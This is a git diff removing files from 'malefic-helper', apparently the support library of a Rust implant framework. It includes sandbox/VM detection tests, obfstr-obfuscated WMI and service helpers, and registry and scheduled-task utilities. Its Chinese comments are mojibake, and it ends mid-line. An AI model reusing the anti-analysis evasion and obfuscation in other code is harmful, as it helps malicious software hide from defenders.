Some(&mut resume_handle), - None, - ); - - if result.is_err() { - return Err(result.unwrap_err()); - } - - // é历æœåŠ¡ï¼Œæå–æœåŠ¡å称并查询其详细é…ç½®ä¿¡æ¯ - let services_ptr = buffer.as_ptr() as *const windows::Win32::System::Services::ENUM_SERVICE_STATUS_PROCESSW; - for i in 0..service_count { - let service_status = services_ptr.add(i as usize).read(); - - // å°†æœåŠ¡å称转æ¢ä¸º Rust 字符串 - let service_name = common::wide_to_string(PCWSTR(service_status.lpServiceName.0)); - - // 使用 query_service_by_name 查询æ¯ä¸ªæœåŠ¡çš„é…ç½®ä¿¡æ¯ - if let Ok(service_config) = self.query_service(&service_name) { - services.push(service_config); - } - } - } - - Ok(services) - } - - - // 查询æœåŠ¡çŠ¶æ€å¹¶è¿”回 `ServiceStatus` - pub fn query_service_status(&self, service: &ServiceConfig) -> Result { - let service_name_wide = common::to_wide_string(&service.name); - - unsafe { - let service_handle = OpenServiceW(self.scm_handle, PCWSTR(service_name_wide.as_ptr()), SERVICE_QUERY_STATUS)?; - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - let mut status = SERVICE_STATUS_PROCESS::default(); - let status_slice = std::slice::from_raw_parts_mut(&mut status as *mut _ as *mut u8, size_of::()); - - QueryServiceStatusEx(service_handle, SC_STATUS_PROCESS_INFO, Some(status_slice), &mut (size_of::() as u32))?; - - let _ = CloseServiceHandle(service_handle); - - Ok(ServiceStatus { - current_state: match status.dwCurrentState { - SERVICE_STOPPED => ServiceState::Stopped, - SERVICE_START_PENDING => ServiceState::StartPending, - SERVICE_STOP_PENDING => ServiceState::StopPending, - SERVICE_RUNNING => ServiceState::Running, - SERVICE_CONTINUE_PENDING => ServiceState::ContinuePending, - SERVICE_PAUSE_PENDING => ServiceState::PausePending, - SERVICE_PAUSED => ServiceState::Paused, - _ => { - ServiceState::Stopped - } - }, - process_id: Some(status.dwProcessId), - exit_code: ServiceExitCode::Win32(status.dwWin32ExitCode), - checkpoint: status.dwCheckPoint, - wait_hint: Duration::from_millis(status.dwWaitHint as u64), - }) - } - } - - // `list_and_query` API,一次性返回所有æœåŠ¡åŠå…¶çŠ¶æ€ - pub fn list_and_query(&self) -> Result> { - let service_configs = self.list_services()?; - let mut services = Vec::new(); - - for config in service_configs { - let status = self.query_service_status(&config)?; - services.push(Service { - config, - status: Some(status), - }); - } - - Ok(services) - } - -} - - diff --git a/malefic-helper/src/win/types/mod.rs b/malefic-helper/src/win/types/mod.rs deleted file mode 100644 index cf73770..0000000 --- a/malefic-helper/src/win/types/mod.rs +++ /dev/null @@ -1 +0,0 @@ -pub type DllMain = unsafe extern "system" fn(*mut core::ffi::c_void, u32, *mut core::ffi::c_void) -> i32; \ No newline at end of file diff --git a/malefic-helper/src/win/wmi/mod.rs b/malefic-helper/src/win/wmi/mod.rs deleted file mode 100644 index ca67ec7..0000000 --- a/malefic-helper/src/win/wmi/mod.rs +++ /dev/null @@ -1,91 +0,0 @@ -use std::collections::HashMap; -use obfstr::obfstr; -use wmi::{COMLibrary, WMIConnection, Variant, WMIError, WMIResult}; -use wmi::exec::WmiExecParam; -use crate::debug; - -pub fn string_to_variant_map(input: HashMap) -> HashMap { - input.into_iter().map(|(key, value)| { - // å°è¯•将字符串转æ¢ä¸ºæ•´æ•°ã€æµ®ç‚¹æ•°ï¼Œæˆ–ä¿æŒä¸ºå­—符串 - let variant_value = if let Ok(int_value) = value.parse::() { - Variant::I4(int_value) - } else if let Ok(float_value) = value.parse::() { - Variant::R8(float_value) - } else { - Variant::String(value) - }; - (key, variant_value) - }).collect() -} - -pub fn variant_to_string_map(input: HashMap) -> HashMap { - input.into_iter().map(|(key, value)| { - let string_value = match value { - Variant::I4(i) => i.to_string(), - Variant::UI4(u) => u.to_string(), - Variant::R8(f) => f.to_string(), - Variant::String(s) => s, - Variant::Bool(b) => b.to_string(), - Variant::Null => "null".to_string(), - _ => { - format!("{:?}", value) - } - }; - (key, string_value) - }).collect() -} - -pub struct WmiManager { - wmi_con: WMIConnection, -} - -impl WmiManager { - pub fn open(namespace: Option<&str>) -> Result { - let com_con = COMLibrary::new()?; // åˆå§‹åŒ– COM - let namespace = namespace.unwrap_or("ROOT").to_string(); - let wmi_con = WMIConnection::with_namespace_path(&namespace, com_con)?; // åˆå§‹åŒ– WMI 连接 - - Ok(WmiManager { wmi_con }) - } - - // 执行通用 WMI 查询 - pub fn execute_query(&self, query: &str) -> Result>, WMIError> { - let results: Vec> = self.wmi_con.raw_query(query)?; - Ok(results) - } - - pub fn execute_method( - &self, - class_name: &str, - method_name: &str, - params: HashMap, - ) -> Result>, WMIError> { - let exec_params: Vec = params - .into_iter() - .map(|(key, value)| WmiExecParam { - key: key.to_string(), - value, - }) - .collect(); - - // Execute the WMI method and get the result as HashMap - let result: WMIResult> = self.wmi_con.exec_method::>(class_name, method_name, &exec_params); - debug!("result: {:?}", result); - - // Process the result - let mut converted_map = HashMap::new(); - match result { - Ok(hash_result) => { - for (key, value) in hash_result { - converted_map.insert(key, value); - } - } - Err(e) => { - converted_map.insert(obfstr!("ReturnValue").to_string(), Variant::I4(1)); - converted_map.insert(obfstr!("Error").to_string(), Variant::String(format!("{:?}", e))); - } - } - - Ok(vec![converted_map]) - } -} \ No newline at end of file diff --git a/malefic-helper/tests/test_anti.rs b/malefic-helper/tests/test_anti.rs deleted file mode 100644 index 9007e7b..0000000 --- a/malefic-helper/tests/test_anti.rs +++ /dev/null @@ -1,227 +0,0 @@ -#[cfg(test)] -mod tests { - use malefic_helper::win::anti::{detect_sandbox, detect_vm_framework, is_vm_environment, get_vm_framework_name, VmFramework, VmDetectionResult, perform_computational_task}; - use obfstr::obfstr; - - #[test] - fn test_perform_computational_task() { - perform_computational_task(123456789); - } - #[test] - fn test_sandbox_detection() { - println!("{}", obfstr!("Testing sandbox detection...")); - - let result = detect_sandbox(); - - println!("{}", obfstr!("Sandbox detection results:")); - println!(" {}: {}", obfstr!("Is sandbox"), result.is_sandbox); - println!(" {}: {}", obfstr!("Confidence score"), result.confidence_score); - - if result.hardware_detection.is_detected { - println!(" {}:", obfstr!("Hardware detection anomalies")); - for reason in &result.hardware_detection.reasons { - println!(" - {}", reason); - } - } - - if result.sysinfo_detection.is_detected { - println!(" {}:", obfstr!("System info detection anomalies")); - for reason in &result.sysinfo_detection.reasons { - println!(" - {}", reason); - } - } - - if result.time_detection.is_detected { - println!(" {}:", obfstr!("Time detection anomalies")); - for reason in &result.time_detection.reasons { - println!(" - {}", reason); - } - } - } - - #[test] - fn test_vm_detection() { - println!("{}", obfstr!("Testing VM framework detection...")); - - let result = detect_vm_framework(); - - println!("{}", obfstr!("VM detection results:")); - println!(" {}: {}", obfstr!("Is VM"), result.is_vm); - - if let Some(framework) = &result.framework { - println!(" {}: {}", obfstr!("Detected framework"), framework.name()); - println!(" {}:", obfstr!("Detected features")); - for feature in &result.detected_features { - println!(" - {}", feature); - } - } else { - println!(" {}", obfstr!("No VM framework detected")); - } - } - - #[test] - fn test_combined_detection() { - println!("{}", obfstr!("Testing combined detection...")); - - let sandbox_result = detect_sandbox(); - let vm_result = detect_vm_framework(); - - let is_analysis_env = sandbox_result.is_sandbox || vm_result.is_vm; - - println!("{}", obfstr!("Combined detection results:")); - println!(" {}: {}", obfstr!("Is analysis environment"), is_analysis_env); - println!(" {}: {}", obfstr!("Sandbox confidence"), sandbox_result.confidence_score); - - if let Some(framework) = &vm_result.framework { - println!(" {}: {}", obfstr!("VM framework"), framework.name()); - } - - if is_analysis_env { - println!(" {}: {}", obfstr!("Warning"), obfstr!("Analysis environment detected")); - } else { - println!(" {}: {}", obfstr!("Normal"), obfstr!("No analysis environment detected")); - } - } - - #[test] - fn test_quick_checks() { - println!("{}", obfstr!("Testing quick checks...")); - - let sandbox_result = detect_sandbox(); - let is_likely_sandbox = sandbox_result.confidence_score > 30; - println!("{} ({}): {}", obfstr!("Likely sandbox"), obfstr!("confidence>30"), is_likely_sandbox); - - let is_vm = is_vm_environment(); - println!(" {}: {}", obfstr!("Is VM environment"), is_vm); - - if let Some(vm_name) = get_vm_framework_name() { - println!(" {}: {}", obfstr!("VM framework"), vm_name); - } - - let high_confidence_sandbox = sandbox_result.confidence_score > 50; - println!("{} (>50): {}", obfstr!("High confidence sandbox"), high_confidence_sandbox); - } - - #[test] - fn test_basic_functionality() { - println!("{}", obfstr!("Testing basic functionality...")); - - use malefic_helper::win::process::get_processes; - use malefic_helper::win::reg::{RegistryKey, RegistryHive}; - - if let Ok(processes) = get_processes() { - println!("{} {} {}", obfstr!("Retrieved"), processes.len(), obfstr!("processes")); - } - - if let Ok(_key) = RegistryKey::open( - RegistryHive::LocalMachine, - obfstr!("SOFTWARE\\Microsoft\\Windows\\CurrentVersion") - ) { - println!("{}", obfstr!("Successfully opened registry key")); - } - - println!("{}", obfstr!("Basic functionality test completed")); - } - - #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] - #[test] - fn test_cpu_timing_detection() { - println!("{}", obfstr!("Testing CPU timing detection...")); - - let result = detect_vm_framework(); - - println!("{}", obfstr!("CPU timing detection results:")); - - if let Some(framework) = &result.framework { - if framework == &VmFramework::Unknown { - println!(" {}", obfstr!("VM detected via timing analysis")); - for feature in &result.detected_features { - if feature.contains("timing") || feature.contains("cycles") { - println!(" - {}", feature); - } - } - } else { - println!(" {}: {}", obfstr!("Specific VM framework detected"), framework.name()); - } - } else { - println!(" {}", obfstr!("No timing anomalies detected")); - } - - // Test should always complete successfully regardless of environment - println!("{}", obfstr!("CPU timing detection test completed")); - } - - #[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] - #[test] - fn test_cpu_timing_detection() { - println!("{}", obfstr!("CPU timing detection not available on this architecture")); - - let result = detect_vm_framework(); - assert!(!result.is_vm || result.framework != Some(VmFramework::Unknown)); - - println!("{}", obfstr!("Non-x86 CPU timing detection test completed")); - } - - #[test] - fn test_simplified_vm_api() { - println!("{}", obfstr!("Testing simplified VM detection API...")); - - // Test simple boolean check - let is_vm = is_vm_environment(); - println!(" {}: {}", obfstr!("Is VM environment"), is_vm); - - // Test framework name detection - if let Some(framework_name) = get_vm_framework_name() { - println!(" {}: {}", obfstr!("Detected VM framework"), framework_name); - } else { - println!(" {}", obfstr!("No VM framework detected")); - } - - // Verify consistency between APIs - let detailed_result = detect_vm_framework(); - assert_eq!(is_vm, detailed_result.is_vm); - - println!("{}", obfstr!("Simplified VM API test completed")); - } - - #[test] - fn test_vm_framework_specificity() { - println!("{}", obfstr!("Testing VM framework-specific detection...")); - - let result = detect_vm_framework(); - - println!("{}", obfstr!("VM framework detection results:")); - println!(" {}: {}", obfstr!("VM detected"), result.is_vm); - - if let Some(framework) = &result.framework { - println!(" {}: {}", obfstr!("Framework"), framework.name()); - println!(" {}: {}", obfstr!("Feature count"), result.detected_features.len()); - - // Test framework-specific behavior - match framework { - VmFramework::VirtualBox => { - println!(" {}", obfstr!("VirtualBox-specific detection active")); - }, - VmFramework::VMware => { - println!(" {}", obfstr!("VMware-specific detection active")); - }, - VmFramework::HyperV => { - println!(" {}", obfstr!("Hyper-V-specific detection active")); - }, - VmFramework::QEMU => { - println!(" {}", obfstr!("QEMU-specific detection active")); - }, - VmFramework::Unknown => { - println!(" {}", obfstr!("Generic VM detection (likely timing-based)")); - }, - _ => { - println!(" {}: {}", obfstr!("Other framework detected"), framework.name()); - } - } - } else { - println!(" {}", obfstr!("No VM framework detected")); - } - - println!("{}", obfstr!("VM framework specificity test completed")); - } -} \ No newline at end of file diff --git a/malefic-helper/tests/test_common.rs b/malefic-helper/tests/test_common.rs deleted file mode 100644 index 445487e..0000000 --- a/malefic-helper/tests/test_common.rs +++ /dev/null @@ -1,205 +0,0 @@ -use malefic_helper::common::net::{get_netstat, get_network_interfaces}; -use std::net::{TcpListener, TcpStream, UdpSocket}; -use std::thread; -use std::time::Duration; - -#[test] -pub fn test_interface() { - println!("{:?}", get_network_interfaces()); -} - -#[test] -pub fn test_netstat() { - println!("{:?}", get_netstat()); -} - -#[test] -pub fn test_netstat_with_connections() { - // 创建 TCP 监å¬å™¨ - let tcp_listener = TcpListener::bind("127.0.0.1:0").unwrap(); - let tcp_port = tcp_listener.local_addr().unwrap().port(); - - // 创建 TCP 连接 - let tcp_handle = thread::spawn(move || { - let _stream = TcpStream::connect(format!("127.0.0.1:{}", tcp_port)).unwrap(); - thread::sleep(Duration::from_secs(1)); - }); - - // 创建 UDP socket - let udp_socket = UdpSocket::bind("127.0.0.1:0").unwrap(); - let udp_port = udp_socket.local_addr().unwrap().port(); - - // 等待连接建立 - thread::sleep(Duration::from_millis(100)); - - // èŽ·å–æ‰€æœ‰ç½‘络连接 - let netstats = get_netstat().unwrap(); - assert!(!netstats.is_empty(), "Should have network connections"); - - // éªŒè¯ TCP 连接 - let mut found_tcp = false; - for socket in &netstats { - if socket.protocol == "tcp" && socket.local_addr.contains(&tcp_port.to_string()) { - found_tcp = true; - assert!(!socket.local_addr.is_empty()); - assert!(!socket.remote_addr.is_empty()); - assert!(socket.pid > 0.to_string()); - } - } - assert!(found_tcp, "Should find our TCP connection"); - - // éªŒè¯ UDP socket - let mut found_udp = false; - for socket in &netstats { - if socket.protocol == "udp" && socket.local_addr.contains(&udp_port.to_string()) { - found_udp = true; - assert!(!socket.local_addr.is_empty()); - assert!(socket.pid > 0.to_string()); - } - } - assert!(found_udp, "Should find our UDP socket"); - - // 等待 TCP è¿žæŽ¥å®Œæˆ - tcp_handle.join().unwrap(); -} - -#[test] -pub fn test_netstat_ipv6() { - // 创建 IPv6 TCP 监å¬å™¨ - let tcp_listener = TcpListener::bind("[::1]:0").unwrap(); - let tcp_port = tcp_listener.local_addr().unwrap().port(); - - // 创建 IPv6 TCP 连接 - let tcp_handle = thread::spawn(move || { - let _stream = TcpStream::connect(format!("[::1]:{}", tcp_port)).unwrap(); - thread::sleep(Duration::from_secs(1)); - }); - - // 创建 IPv6 UDP socket - let udp_socket = UdpSocket::bind("[::1]:0").unwrap(); - let udp_port = udp_socket.local_addr().unwrap().port(); - - // 等待连接建立 - thread::sleep(Duration::from_millis(100)); - - // èŽ·å–æ‰€æœ‰ç½‘络连接 - let netstats = get_netstat().unwrap(); - assert!(!netstats.is_empty(), "Should have network connections"); - - // éªŒè¯ IPv6 TCP 连接 - let mut found_tcp6 = false; - for socket in &netstats { - if socket.protocol == "tcp" && socket.local_addr.contains(&tcp_port.to_string()) { - found_tcp6 = true; - assert!(socket.local_addr.contains("::1")); - assert!(!socket.local_addr.is_empty()); - assert!(!socket.remote_addr.is_empty()); - assert!(socket.pid > 0.to_string()); - } - } - assert!(found_tcp6, "Should find our IPv6 TCP connection"); - - // éªŒè¯ IPv6 UDP socket - let mut found_udp6 = false; - for socket in &netstats { - if socket.protocol == "udp" && socket.local_addr.contains(&udp_port.to_string()) { - found_udp6 = true; - assert!(socket.local_addr.contains("::1")); - assert!(!socket.local_addr.is_empty()); - assert!(socket.pid > 0.to_string()); - } - } - assert!(found_udp6, "Should find our IPv6 UDP socket"); - - // 等待 TCP è¿žæŽ¥å®Œæˆ - tcp_handle.join().unwrap(); -} - -#[test] -pub fn test_netstat_all_protocols() { - let netstats = get_netstat().unwrap(); - assert!(!netstats.is_empty(), "Should have network connections"); - - // éªŒè¯æ‰€æœ‰è¿žæŽ¥çš„åŸºæœ¬ä¿¡æ¯ - for netstat in netstats { - assert!(!netstat.local_addr.is_empty(), "Local address should not be empty"); - assert!(!netstat.protocol.is_empty(), "Protocol should not be empty"); - assert!(netstat.pid > 0.to_string(), "PID should be greater than 0"); - - // 验è¯åè®®æ ¼å¼ - assert!( - netstat.protocol == "tcp" || - netstat.protocol == "tcp6" || - netstat.protocol == "udp" || - netstat.protocol == "udp6", - "Invalid protocol: {}", - netstat.protocol - ); - - // 验è¯åœ°å€æ ¼å¼ - if netstat.protocol.contains("6") { - assert!( - netstat.local_addr.contains("::") || - netstat.local_addr.contains("[::1]"), - "Invalid IPv6 address: {}", - netstat.local_addr - ); - } else { - assert!( - netstat.local_addr.contains("."), - "Invalid IPv4 address: {}", - netstat.local_addr - ); - } - } -} - -#[test] -fn test_get_netstat() { - let handle = thread::spawn(|| { - let result = malefic_helper::common::net::get_netstat(); - assert!(result.is_ok(), "Failed to get netstat: {:?}", result.err()); - let connections = result.unwrap(); - assert!(!connections.is_empty(), "No network connections found"); - - for conn in connections { - assert!(!conn.local_addr.is_empty(), "Local address should not be empty"); - assert!(!conn.protocol.is_empty(), "Protocol should not be empty"); - } - }); - - match handle.join() { - Ok(_) => println!("Test completed successfully"), - Err(_) => panic!("Test failed"), - } -} - -#[test] -fn test_get_sockets() { - let handle = thread::spawn(|| { - let result = malefic_helper::darwin::netstat::get_sockets(true, true, true, true); - assert!(result.is_ok(), "Failed to get sockets: {:?}", result.err()); - let sockets = result.unwrap(); - assert!(!sockets.is_empty(), "No sockets found"); - }); - - match handle.join() { - Ok(_) => println!("Test completed successfully"), - Err(_) => panic!("Test failed"), - } -} - -#[test] -fn test_tcp_sockets() { - let handle = thread::spawn(|| { - let result = malefic_helper::darwin::netstat::get_sockets(true, false, true, false); - assert!(result.is_ok(), "Failed to get TCP sockets: {:?}", result.err()); - let sockets = result.unwrap(); - assert!(!sockets.is_empty(), "No TCP sockets found"); - }); - - match handle.join() { - Ok(_) => println!("Test completed successfully"), - Err(_) => panic!("Test failed"), - } -} \ No newline at end of file diff --git a/malefic-helper/tests/test_pipe.rs b/malefic-helper/tests/test_pipe.rs deleted file mode 100644 index 0532f36..0000000 --- a/malefic-helper/tests/test_pipe.rs +++ /dev/null @@ -1,107 +0,0 @@ -use std::path::Path; -use std::{fs, io, thread}; -use std::fmt::Debug; -use std::io::ErrorKind; -use std::time::Duration; -use windows::Win32::Foundation::INVALID_HANDLE_VALUE; -use malefic_helper::win::pipe::NamedPipe; - -#[test] -fn test_create_named_pipe() { - let pipe = NamedPipe::create(r"\\.\pipe\testpipe").expect("Failed to create named pipe"); - assert!(pipe.handle != INVALID_HANDLE_VALUE); - pipe.close(); -} - -#[test] -fn test_open_named_pipe() { - // é¦–å…ˆåˆ›å»ºä¸€ä¸ªç®¡é“ - let server_pipe = NamedPipe::create(r"\\.\pipe\testpipe").expect("Failed to create server pipe"); - - // 在å¦ä¸€ä¸ªçº¿ç¨‹ä¸­ç­‰å¾…客户端连接 - thread::spawn(move || { - server_pipe.wait().expect("Failed to wait for connection"); - server_pipe.close(); - }); - - // 模拟客户端连接 - thread::sleep(Duration::from_millis(100)); - let client_pipe = NamedPipe::open(r"\\.\pipe\testpipe").expect("Failed to open client pipe"); - assert!(client_pipe.handle != INVALID_HANDLE_VALUE); - client_pipe.close(); -} - -#[test] -fn test_read_write_named_pipe() { - let server_pipe = NamedPipe::create(r"//.//pipe//bbb").expect("Failed to create server pipe"); - - // 在å¦ä¸€ä¸ªçº¿ç¨‹ä¸­ç­‰å¾…å®¢æˆ·ç«¯å†™å…¥æ•°æ® - thread::spawn(move || { - server_pipe.wait().expect("Failed to wait for connection"); - - let mut buffer = [0u8; 512]; - let bytes_read = server_pipe.read(&mut buffer).expect("Failed to read from pipe"); - assert_eq!(bytes_read, 11); // 预期读å–11个字节 - server_pipe.close(); - }); - - // æ¨¡æ‹Ÿå®¢æˆ·ç«¯å†™å…¥æ•°æ® - thread::sleep(Duration::from_millis(100)); - let client_pipe = NamedPipe::open(r"//.//pipe//bbb").expect("Failed to open client pipe"); - let message = b"Hello Pipe"; - let bytes_written = client_pipe.write(message).expect("Failed to write to pipe"); - assert_eq!(bytes_written, message.len() as u32); // 预期写入消æ¯çš„长度 - client_pipe.close(); -} - - -#[test] -fn test_write_named_pipe() { - let server_pipe = NamedPipe::create(r"//.//pipe//bbb").expect("Failed to create server pipe"); - thread::sleep(Duration::from_millis(100)); - server_pipe.wait().expect("Failed to wait for connection"); - // æ¨¡æ‹Ÿå®¢æˆ·ç«¯å†™å…¥æ•°æ® - thread::sleep(Duration::from_millis(100)); - - let message = b"Hello Pipe"; - let bytes_written = server_pipe.write(message).expect("Failed to write to pipe"); - println!("succ"); - assert_eq!(bytes_written, message.len() as u32); // 预期写入消æ¯çš„长度 - println!("succ"); - server_pipe.close(); -} - -#[test] -fn test_read_named_pipe() { - let server_pipe = NamedPipe::open(r"//.//pipe//bbb").expect("Failed to create server pipe"); - thread::sleep(Duration::from_millis(100)); - - let mut buffer = [0u8; 512]; - let bytes_read = server_pipe.read(&mut buffer).expect("Failed to read from pipe"); - assert_eq!(bytes_read, 11); // 预期读å–11个字节 - server_pipe.close(); -} - - -pub fn list_pipes(path: &str) -> io::Result> { - let dir = Path::new(path); - if !dir.exists() || !dir.is_dir() { - return Err(io::Error::new(ErrorKind::NotFound, "Directory not found")); - } - - let mut pipes = Vec::new(); - for entry in fs::read_dir(path)? { - let entry = entry?; - println!("{:?}", entry.metadata()?); - pipes.push(entry.path().to_string_lossy().to_string()); - } - Ok(pipes) -} - -#[test] -fn test_disconnect_named_pipe() { - println!("{:#?}", list_pipes("//.//pipe//")); - let pipe = NamedPipe::create(r"\\.\pipe\testpipe").expect("Failed to create named pipe"); - pipe.disconnect().expect("Failed to disconnect named pipe"); - pipe.close(); -} diff --git a/malefic-helper/tests/test_process.rs b/malefic-helper/tests/test_process.rs deleted file mode 100644 index 9a79194..0000000 --- a/malefic-helper/tests/test_process.rs +++ /dev/null @@ -1,49 +0,0 @@ -use windows::Win32::System::Threading::GetCurrentProcessId; -use malefic_helper::win::process::{get_process_architecture, get_process_owner}; -use malefic_helper::win::token::is_privilege; - -#[test] -fn test_is_privilege() { - match is_privilege() { - Ok(is_elevated) => { - if is_elevated { - println!("User is running with elevated privileges."); - } else { - println!("User is not running with elevated privileges."); - } - assert!(is_elevated == true || is_elevated == false); - } - Err(e) => panic!("Failed to check privileges: {:?}", e), - } -} - - -#[test] -fn test_get_process_architecture() { - let pid = unsafe { GetCurrentProcessId() }; // 获å–当å‰è¿›ç¨‹ID - match get_process_architecture(pid) { - Ok(arch) => { - println!("Process architecture: {}", arch); - assert!(arch == "x86" || arch == "x64" || arch == "Unknown"); - } - Err(e) => { - println!("Failed to get process architecture: {:?}", e); - assert!(false); // 如果出错,断言失败 - } - } -} - -#[test] -fn test_get_process_owner() { - let pid = 43932; // 获å–当å‰è¿›ç¨‹ID - match get_process_owner(pid) { - Ok(owner) => { - println!("Process owner: {}", owner); - assert!(!owner.is_empty()); // 断言获å–到的用户å䏿˜¯ç©ºçš„ - } - Err(e) => { - println!("Failed to get process owner: {:?}", e); - assert!(false); // 如果出错,断言失败 - } - } -} \ No newline at end of file diff --git a/malefic-helper/tests/test_reg.rs b/malefic-helper/tests/test_reg.rs deleted file mode 100644 index 8e27ef3..0000000 --- a/malefic-helper/tests/test_reg.rs +++ /dev/null @@ -1,176 +0,0 @@ -#![allow(dead_code)] -use std::ffi::OsStr; -use std::os::windows::ffi::OsStrExt; -use malefic_helper::win::reg::{RegistryHive, RegistryKey, RegistryValue}; - -// Helper function to convert string to wide string (Vec) -fn to_wide_string(s: &str) -> Vec { - OsStr::new(s).encode_wide().chain(Some(0)).collect() -} - -#[test] -pub fn test_create_and_open_key() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - - // 测试创建注册表键 - let reg_key = RegistryKey::create(hive, subkey); - assert!(reg_key.is_ok(), "Failed to create registry key: {:?}", reg_key.err()); - - // 测试打开注册表键 - let reg_key = RegistryKey::open(hive, subkey); - assert!(reg_key.is_ok(), "Failed to open registry key: {:?}", reg_key.err()); -} - -#[test] -pub fn test_list() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software"; - let reg_key = RegistryKey::open(hive, subkey); - assert!(reg_key.is_ok(), "Failed to open registry key: {:?}", reg_key.err()); - let res = reg_key.unwrap().list_subkeys(); - assert!(res.is_ok(), "Failed to list registry key: {:?}", res.err()); - println!("{:#?}", res) -} - -#[test] -pub fn test_set_and_query_string_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置字符串值 - let value_name = "TestStringValue"; - let set_result = reg_key.set_value(value_name, RegistryValue::String("TestValue".to_string())); - assert!(set_result.is_ok(), "Failed to set string value: {:?}", set_result.err()); - - // 查询字符串值 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_ok(), "Failed to query string value: {:?}", query_result.err()); - - if let RegistryValue::String(val) = query_result.unwrap() { - assert_eq!(val, "TestValue", "String value mismatch"); - } else { - panic!("Query did not return string value"); - } -} - -#[test] -pub fn test_set_and_query_dword_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置DWORD值 - let value_name = "TestDwordValue"; - let set_result = reg_key.set_value(value_name, RegistryValue::Dword(1234)); - assert!(set_result.is_ok(), "Failed to set DWORD value: {:?}", set_result.err()); - - // 查询DWORD值 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_ok(), "Failed to query DWORD value: {:?}", query_result.err()); - - if let RegistryValue::Dword(val) = query_result.unwrap() { - assert_eq!(val, 1234, "DWORD value mismatch"); - } else { - panic!("Query did not return DWORD value"); - } -} - -#[test] -pub fn test_set_and_query_qword_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置QWORD值 - let value_name = "TestQwordValue"; - let set_result = reg_key.set_value(value_name, RegistryValue::Qword(12345678901234567890)); - assert!(set_result.is_ok(), "Failed to set QWORD value: {:?}", set_result.err()); - - // 查询QWORD值 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_ok(), "Failed to query QWORD value: {:?}", query_result.err()); - - if let RegistryValue::Qword(val) = query_result.unwrap() { - assert_eq!(val, 12345678901234567890, "QWORD value mismatch"); - } else { - panic!("Query did not return QWORD value"); - } -} - -#[test] -pub fn test_set_and_query_binary_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置二进制值 - let value_name = "TestBinaryValue"; - let set_result = reg_key.set_value(value_name, RegistryValue::Binary(vec![1, 2, 3, 4, 5])); - assert!(set_result.is_ok(), "Failed to set binary value: {:?}", set_result.err()); - - // 查询二进制值 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_ok(), "Failed to query binary value: {:?}", query_result.err()); - - if let RegistryValue::Binary(val) = query_result.unwrap() { - assert_eq!(val, vec![1, 2, 3, 4, 5], "Binary value mismatch"); - } else { - panic!("Query did not return binary value"); - } -} - -#[test] -pub fn test_set_and_query_multi_string_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置多字符串值 - let value_name = "TestMultiStringValue"; - let multi_string = vec!["FirstString".to_string(), "SecondString".to_string()]; - let set_result = reg_key.set_value(value_name, RegistryValue::MultiString(multi_string.clone())); - assert!(set_result.is_ok(), "Failed to set multi-string value: {:?}", set_result.err()); - - // 查询多字符串值 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_ok(), "Failed to query multi-string value: {:?}", query_result.err()); - - if let RegistryValue::MultiString(val) = query_result.unwrap() { - assert_eq!(val, multi_string, "Multi-string value mismatch"); - } else { - panic!("Query did not return multi-string value"); - } -} - -#[test] -pub fn test_delete_value() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::create(hive, subkey).unwrap(); - - // 设置一个键值 - let value_name = "TestStringValue"; - let set_result = reg_key.set_value(value_name, RegistryValue::String("ToBeDeleted".to_string())); - assert!(set_result.is_ok(), "Failed to set value for deletion: {:?}", set_result.err()); - - // 删除键值 - let delete_result = reg_key.delete_value(value_name); - assert!(delete_result.is_ok(), "Failed to delete value: {:?}", delete_result.err()); - - // 冿¬¡æŸ¥è¯¢åº”当失败 - let query_result = reg_key.query_value(value_name); - assert!(query_result.is_err(), "Value should have been deleted"); -} - -#[test] -pub fn test_delete_key() { - let hive = RegistryHive::CurrentUser; - let subkey = "Software\\TestKey"; - let reg_key = RegistryKey::open(hive, subkey).unwrap(); - // 删除注册表键 - println!("opened"); - let delete_result = reg_key.delete_key(None); - assert!(delete_result.is_ok(), "Failed to delete registry key: {:?}", delete_result.err()); -} diff --git a/malefic-helper/tests/test_schelduler.rs b/malefic-helper/tests/test_schelduler.rs deleted file mode 100644 index afa5ae5..0000000 --- a/malefic-helper/tests/test_schelduler.rs +++ /dev/null @@ -1,89 +0,0 @@ -use std::path::PathBuf; -use std::time::Duration; -use malefic_helper::win::scheduler::{TaskConfig, TaskSchedulerManager, TaskTriggerType}; - -// 测试任务é…ç½®ä¿¡æ¯ -fn test_task_config() -> TaskConfig { - TaskConfig { - name: "TestTask".to_string(), - path: "\\".to_string(), // 测试文件夹路径 - description: "A test task for unit testing".to_string(), - executable_path: PathBuf::from("C:\\Windows\\System32\\notepad.exe"), - trigger_type: TaskTriggerType::Daily, - duration: Duration::from_secs(3600), - start_boundary: "2024-01-01T12:00:00".to_string(), - enabled: true, - } -} - - -#[test] -fn test_create_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - let config = test_task_config(); - let result = manager.create_task(config.clone()); - println!("Task config: {:?}", result); - assert!(result.is_ok(), "Failed to create task: {:?}", result); -} - -#[test] -fn test_run_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - let config = test_task_config(); - - let result = manager.run_task(&config.path, &config.name); - assert!(result.is_ok(), "Failed to run task: {:?}", result); -} - -#[test] -fn test_start_task() { - let manager = TaskSchedulerManager::initialize().expect("Initialization failed"); - let config = test_task_config(); - - let result = manager.start_task(&config.path, 